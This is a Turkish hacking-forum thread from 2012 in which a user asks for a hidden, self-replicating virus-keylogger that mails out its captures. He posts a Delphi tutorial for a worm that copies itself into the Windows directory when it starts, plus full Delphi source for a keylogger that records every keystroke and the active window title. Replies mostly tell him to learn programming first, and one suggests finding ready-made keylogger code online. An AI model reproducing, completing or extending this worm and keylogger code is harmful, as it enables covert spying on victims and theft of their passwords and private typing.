Virüs-Keylogger YAPIMI!!!

asicocuk34 · 21 Mar 2012

Ben bu işlerde yeni degilim.
Kendi kendini klonlayan, e-mail,ftp vb. mesaj yollayan , gizli ,kururuluma ihtiyac duymayan bir virüs istiyorum.
Kısacası virüs-keylogger istiyorum.Bütün program dillerinde olabilir.

BUNU YAPABİLECEK HACKER ARIYORUM.:drunk

LÜTFEN KODLARLA ANLATIM YAPIN!!!:trl

The Best · 21 Mar 2012

İşin Zor Bunu Ancak Üst Düzeyler Yapıyor.

HAKOPS · 21 Mar 2012

Böyle Şıp Diye Olmuyor Önce Programlama Dillerini Öğrenmen Lazım Farz Et Biz Sana Kodları Verdik Nasıl Geliştirice ?

turqud · 21 Mar 2012

Virus Yazmak Kolay Ama Gerek Kendi Pcini Kurban Ver bilmiyorsun Yazdigin Virus Ne gibi Sonuc Verecek ... Kolay Bir Is Degil...

asicocuk34 · 21 Mar 2012

Bunları birleştirin

c++,c#,delphi bilmek yeterli olur bunu yapabilmek için

yardım isterseniz BU İKİ ANLATIMI BİRLETŞİRMENİZ YETERLİ!!!
1-)
BİLGİSAYAR VİRÜSÜ YAZIMI
Bilgisayar virüsleri içersinde zararlı kodlar bulunana ufak programlardır. Çalışma şekli bakımından biyolojik virüslere benzediği için bilgisayar virüsü olarak adlandırılmışlardır. Virüslerin çoğunun uzantısı çalıştırılabilir olan exe,com,scr,pif, vb. dosya tipleridir.Bilgisayar virüslerinin bir çok çeşidi bulunmaktadır bunların başlıcaları;
1) Worm (Solucan) virüsleri: Worm vürüslerinin genel özelliği internet üzerinden eposta yoluyla bulaşmaları ve kendilerini defalarca kopyalayarak bilgisayarı yavaşlatıp çökertmeleridir, bir çok çeşidi bulunan worm virüslerinin hergeçen gün sayısı ve çeşidi artmaktadır. Bu şekilde hızla değişim gösteren virüslerle mücadele etmek anti virüs şirketleri için oldukça zordur. Worm virüslerden korunmanın en iyi yolu, bilmediğiniz eposta eklentilerini açmamaktır.
2) Trogen Horse (Truva Atı) virüsleri: Trojen virüslerinin genel özelliği bulaştıkları bilgisayarda bir port açarak bilgisayar kullanıcısının özel bilgilerini ve şifrelerini internet bağlantısıyla dışarıya göndermesidir. Trojen virüslerinin dışarıya bilgi sızdırması, firewall (ateş duvarı) adı verilen internet bağlantısını denetleyen yazılımlarla engellenmeye çalışılmaktadır. Trojen virüslerinden korunmanın en iyi yolu güncel bir anti virüs yazılımı kullanmaktır.
3) Spy (Casus) virüsler: Spy virüslerin genel özelliği kullanıcının ziyaret ettiği internet adreslerini ve sosyal tercihlerini denetleyip gerekli yerlere rapor etmesidir. Spy virüsler genelde internet üzerinden müşterinin bilgilerini öğrenmek isteyen şirketler tarafından kullanılırlar. Birçok spy virüste kullanıcıyı reklam içeren sitelere yönlendirir ve internet bağlantımızı yavaşlatırlar. Bir çok çeşidi bulunan spy virüslerinden korunmanın en iyi yolu bir anti spy yazılımı kullanmaktır.
Buraya kadar bir virüs yazmak için bilinmesi gereken temel bilgileri ayrıntiya girmeden verdim, bu konuyla ilgili internet üzerinde ufak bir araştırmayla bir çok türkçe kaynak ve döküman bulabilirsiniz.
1) Bilgisayar Virüsü Yazımına Başlangıç:
Bu makalede sizlere temel bir worm (solucan) virüsü yazımını anlatacağım, daha sonra bu konudaki bilgilerinizi arttırıp solucanınızı geliştirerek güçlendirebilir, daha da tehlikeli hale getirebilirsiniz.
Solucanımızı geliştirmek için bir programlama dili kullanmamız gerekmektedir, bunun için bir çok programlama dili mevcuttur, bunların en belirginleri;
a) Microsoft Visual C#
b) Sun Microsystem JAVA
a) Borland Delphi
c) Microsoft Visual C++
d) Borland C++ Builder
e) Microsoft Visual Basic
Biz burada solucanımızı yazmak için Borland şirketinin Delphi programlama dilini kullanacağız. Daha sonraki makalelerimde Visual C# ve Java programlama dilleri içinde virüs yazımını anlatacağım.
ders2
2) Solucanın Gövdesini Oluşturma:

Başlangıç olarak Borland Delphi programını çalıştıralım ve menüde bulunan File seçeneğiden New -> Application yolunu izleyerek yeni bir proje oluşturalım. Her Delphi projesi iki kısımdan oluşur;
a) Form1: Programımız çalıştığında görülecek ön yüzdür.
b) Unit1: İçersine Delphi kodlarını yazacağımız kod penceresidir.
Artık solucanımızın kodlarını yazmaya başlayabiliriz.
Eğer kaynak kodlarına bakarsak(Unit1) biz hiçbirşey yapmadığımız halde Delphi’nin solucanımızın gövdesini aşağıdaki şekilde oluşturduğunu görürüz. Bu kodlar programın çalışmasını sağlayan, bizim için Delphi tarafından oluşturulmuş gerekli tanımlama komutlarıdır. Eğer herhangi birini silersek solucanımız çalışmaz.
//-----------------------------------------------------------------------------------------
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs;
type
TForm1 = class(TForm)
private
{ Private declarations }
{Bu aralıkta fonksiyonlarımızın ön tanımlamasını yapacağız}
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
{İşte biz kodlarımızı bu aralığa yazacağız}
end.
//-----------------------------------------------------------------------------------------
3) Solucanımıza Çoğalma(Kolonlama) Yeteneğini Kazandırma:
Solucan (Worm) viruslerinin en belirgin özelliği kendilerini bilgisayarın bir çok dizinine defalarca kopyalamalarıdır. Solucanımızın kendini hangi isimle ve hangi dizinlere kopyalayacağı tamamen sizin tercihinizdir. Bunun için öncelikler solucanımıza bir isim ve uzantı (exe,com,bat,pif,scr, vb.) belirlememiz gerekir. Bütün virüslerin temel özelliği executeable (çalıştırabilir) türden dosyalar olmasıdır, örneğin solucanımıza “ .jpg” uzantısını verirsek Windows işletim sistemi bunu bir resim dosyası olarak algılayacak ve resim göstericisini çalıştıracaktır. Böylece bir hata mesajı alınacak ve solucanımız hiçbir işe yaramayacaktır. Bunun için solucanımız Windows işletim sisteminin direk çalıştıracağı bir uzantıda olması gereklidir. Bunların başlıcaları ;
.exe (EXEcuteable)
.com (COMmand )
.bat (BAtch Files)
.pif (Program Information File)
.scr (SCReen saver)
Öncelikle solucanımızın kendi kendini kolonlamasını istediğimiz için Colon isimli bir procedure oluşturalım, fakat Delphi'de her fonksiyon ve procedure için ön tanımlama yapılması gereklidir. Bunun için solucanımızın gövdesindeki private-public aralığına aşağıdaki kodu ekleyelim;
//-----------------------------------------------------------------------------------------
procedure Colon(solucan,dizin: string);
//-----------------------------------------------------------------------------------------
Böylece Delphi’ e Colon procedure'mizi tanıtmış olduk.
Daha sonra aşağıdaki procedure kodlarını solucanımın gövdesinde {$R*.dfm}-end. aralığına ekleyelim,
// ----------------------------------------------------------------------------------------
procedure TForm1.Colon(solucan,dizin: string);
var
FileStream: TStream;
ColonStream: TStream;
begin
{Solucanımızın ismi solucan değişkeninden okunuyor.}
try
FileStream := TFileStream.Create(solucan,fmOpenRead);
{Solucanımız Kendisini aynı isimle dizine kopyalıyor.}
try
ColonStream := TFileStream.Create(dizin, fmCreate);
ColonStream.CopyFrom(FileStream,FileStream.Size);
finally
ColonStream.Free;
end;
finally
FileStream.Free;
end;
end;
// ----------------------------------------------------------------------------------------
Daha sonra Object Inspector penceresinde Form1->Events->OnCreate kutucuğuna çift tıklayalım. böylece Delphi bizim için aşağıdaki kod bloğunu oluşturur.
//----------------------------------------------------------------------------------------
procedure TForm1.FormCreate(Sender: TObject);
begin
{Solucanımız ilk çalışınca yapmasını istediklerimizi bu aralığa yazacağız.}
end;
//-----------------------------------------------------------------------------------------
BU blok içersindeki begin-end; aralığına aşağıdaki kodu ekleyelim;
//-----------------------------------------------------------------------------------------
{solucan.exe isimli solucanımız windows dizinine kopyalanıyor.}
Colon('solucan.exe','c:\windows\solucan.exe');
//-----------------------------------------------------------------------------------------
Böylece solucanımız çalıştığında(OnCreate) ilk olarak Colon procedure'i çalıştırarak kendini windows dizinine kopyalar. Bu aşamadan sonra artık F9 veya Run butonuna basarak kodlarımızı derlememiz gerekir. Fakat bunu yaparsak Delphi kopyalamak için "solucan.exe" arar ve bulamadığı için de hata verir. Biz ilk
önce yeni bir klasör açalım ve bütün bu yazdığımız kodları Menüden File->Save Project As... yoluyla bu klasörün içersine kaydedelim. Daha sonra bu klasörün içine konu mankeni bir "solucan.exe" koyalım, ben "notepad.exe" buraya kopyalayıp adını "solucan.exe" olarak değiştirdim. Şimdi artık Delphi'den solucanımızın kodlarını derleyelim, klasörümüzün içinde "project1.exe" ismiyle oluşan exe solucanımızdır
Bundan sonra artık "solucan.exe" 'i silip "project1.exe" 'nin adını solucan olarak değiştirebiliriz.
2-)
KEYLOGGER
var
Form1: TForm1;
ss:string; Current_App:String;
implementation
{$R *.dfm}
procedure TForm1.Timer1Timer(Sender: TObject);
var
i:integer;
handler:THandle;
caption : array[0..80] of Char;
begin
for i:=8 To 255 do
begin
if GetAsyncKeyState(i)=-32767 then
case i of
17 : ss := ss + ' [Ctrl] ';
18 : ss := ss + ' [Alt] ';
8 : ss := ss + ' ';
9 : ss := ss + ' [TAB] ';
20 : ss := ss + ' [CapsLock] ';
21 : ss := ss + ' [CapsLock] ';
13 : ss := ss + ' [Enter] '+#13#10;
27 : ss := ss + '[Escape]';
32 : ss := ss + ' ';
33 : ss := ss + ' [PageUp] ';
34 : ss := ss + ' [PageDown] ';
35 : ss := ss + ' [End] ';
36 : ss := ss + ' [Home] ';
37 : ss := ss + ' [OK:Sol] ';
38 : ss := ss + ' [OK:Yukarı] ';
39 : ss := ss + ' [OK:Sağ] ';
44 : ss := ss + ' [PrintScreen] ';
40 : ss := ss + ' [OK:Aşağı] ';
45 : ss := ss + ' [İnsert] ';
46 : ss := ss + ' [Delete] ';
144 : ss := ss + ' [NumLock] ';
145 : ss := ss + ' [ScrollLock] ';
$10 : ss := ss + ' [Shift] ';
//üstteki rakamlar
48 : if GetKeyState(VK_SHIFT) < 0 then
ss := ss + '='
else if GetKeyState(18) < 0 then
ss:=ss+'}'
else
ss := ss + '0';
223: if GetKeyState(VK_SHIFT) < 0 then
ss := ss + '?'
else if GetKeyState(18) < 0 then
ss := ss + '\'
else ss := ss + '*';
49 : if GetKeyState(VK_SHIFT) < 0 then
ss := ss + '!'
else if GetKeyState(18) < 0 then
ss := ss + '>'
else
ss := ss + '1';
50 : if GetKeyState(VK_SHIFT) < 0 then
ss := ss + ''''
else if GetKeyState(18) < 0 then
ss := ss + '£'
else
ss := ss + '2';
51 : if GetKeyState(VK_SHIFT) < 0 then
ss := ss + '^'
else if GetKeyState(18) < 0 then
ss := ss + '#'
else
ss := ss + '3';
52 : if GetKeyState(VK_SHIFT) < 0 then
ss := ss + '+'
else if GetKeyState(18) < 0 then
ss := ss + '$'
else
ss := ss + '4';
53 : if GetKeyState(VK_SHIFT) < 0 then
ss := ss + '%'
else if GetKeyState(18) < 0 then
ss := ss + '½'
else
ss := ss + '5';
54 : if GetKeyState(VK_SHIFT) < 0 then
ss := ss + '&'
else
ss := ss + '6';
55 : if GetKeyState(VK_SHIFT) < 0 then
ss := ss + '/'
else if GetKeyState(18) < 0 then
ss := ss + '{'
else
ss := ss + '7';
57 : if GetKeyState(VK_SHIFT) < 0 then
ss := ss + ')'
else if GetKeyState(18) < 0 then
ss := ss + ']'
else
ss := ss + '9';
//...
56 : if GetKeyState(VK_SHIFT) < 0 then
ss := ss + '('
else if GetKeyState(18) < 0 then
ss := ss + '['
else
ss := ss + '8';
65..90 : //a-z,A-Z
if Odd(GetKeyState(VK_CAPITAL)) then
if GetKeyState(VK_SHIFT) < 0 then
ss := ss + LowerCase(Chr(i))
else
ss := ss + UpperCase(Chr(i))
else
if GetKeyState(VK_SHIFT) < 0 then
ss := ss + UpperCase(Chr(i))
else
ss := ss + LowerCase(Chr(i));
//NUMPAD
96 : ss := ss + '0';
97 : ss := ss + '1';
98 : ss := ss + '2';
99 : ss := ss + '3';
100 : ss := ss + '4';
101 : ss := ss + '5';
102 : ss := ss + '6';
103 : ss := ss + '7';
104 : ss := ss + '8';
105 : ss := ss + '9';
106 : ss := ss + '*';
107 : ss := ss + '+';
109 : ss := ss + '-';
110 : ss := ss + ',';
111 : ss := ss + '/';
112..123 :
//F1-F12
ss := ss + '[F' + IntToStr(i - 111) + ']';
186 : if GetKeyState(VK_SHIFT) < 0 then
ss := ss + 'ş'
else ss := ss + 'ş';
187 : if GetKeyState(VK_SHIFT) < 0 then
ss := ss + '+'
else ss := ss + '=';
188 : if GetKeyState(VK_SHIFT) < 0 then
ss := ss + ';'
else ss := ss + ',';
189 : if GetKeyState(VK_SHIFT) < 0 then
ss := ss + '_'
else if GetKeyState(18) < 0 then
ss := ss + '|'
else
ss := ss + '-';
190 : if GetKeyState(VK_SHIFT) < 0 then
ss := ss + ':'
else ss := ss + '.';
191 : if GetKeyState(VK_SHIFT) < 0 then
ss := ss + 'ö'
else ss := ss + 'ö';
192 : if GetKeyState(VK_SHIFT) < 0 then
ss := ss + 'é'
else ss := ss + '"';
219 : if GetKeyState(VK_SHIFT) < 0 then
ss := ss + 'Ğ'
else ss := ss + 'ğ';
220 : if GetKeyState(VK_SHIFT) < 0 then
ss := ss + '|'
else ss := ss + '';
221 : if GetKeyState(VK_SHIFT) < 0 then
ss := ss + 'ü'
else ss := ss + 'ü';
222 : if GetKeyState(VK_SHIFT) < 0 then
ss := ss + 'i'
else ss := ss + 'i';
226 : if GetKeyState(VK_SHIFT) < 0 then
ss := ss + '>'
else ss := ss + '<';

end;
end;
handler := GetForegroundWindow;
GetWindowText(handler,caption, 80);
if (caption<>Current_App)and(caption<>'') then
begin
Current_App := caption;
ss := ss+#13#10'['+caption+']-['+TimeToStr(Now)+']'+#13#10;
end;
Memo1.Lines.Clear;
Memo1.Lines.Add(ss);
end;

procedure TForm1.Timer2Timer(Sender: TObject);
begin
//memo1.Lines.SaveToFile('c:/deneme.txt');
end;

end.

IbenbuI · 21 Mar 2012

bana kodları verın hatta dıllerı verın ben oren cem hepsını lutfen bıraz emek lazım sadece allah okı demıskı kuranda ben herkese aynı zekayı aklı verdım bende yaparım yanı sızden yardım ıstıyorum kodlamalarını dıllerı yollayın bana msn verem // İletişim Adresi Vermek Yasak // Hakops

ihan3t · 22 Mar 2012

msn vermek yasaktır arkadaşım, googlede hazır keylogger kodları bulabilirsin. ama önce basitten başla bi algoritma öğren visual basic 6 c dillerini öğren

IbenbuI · 22 Mar 2012

bir yerden başlayacağım nerden olduğu önemlı değil...

Virüs-Keylogger YAPIMI!!!

asicocuk34

Yeni üye

The Best

Uzman üye

HAKOPS

Kıdemli Üye

turqud

Kıdemli Üye

asicocuk34

Yeni üye

IbenbuI

Yeni üye

ihan3t

Kadim Üye

IbenbuI

Yeni üye

Sosyal medya sayfalarımız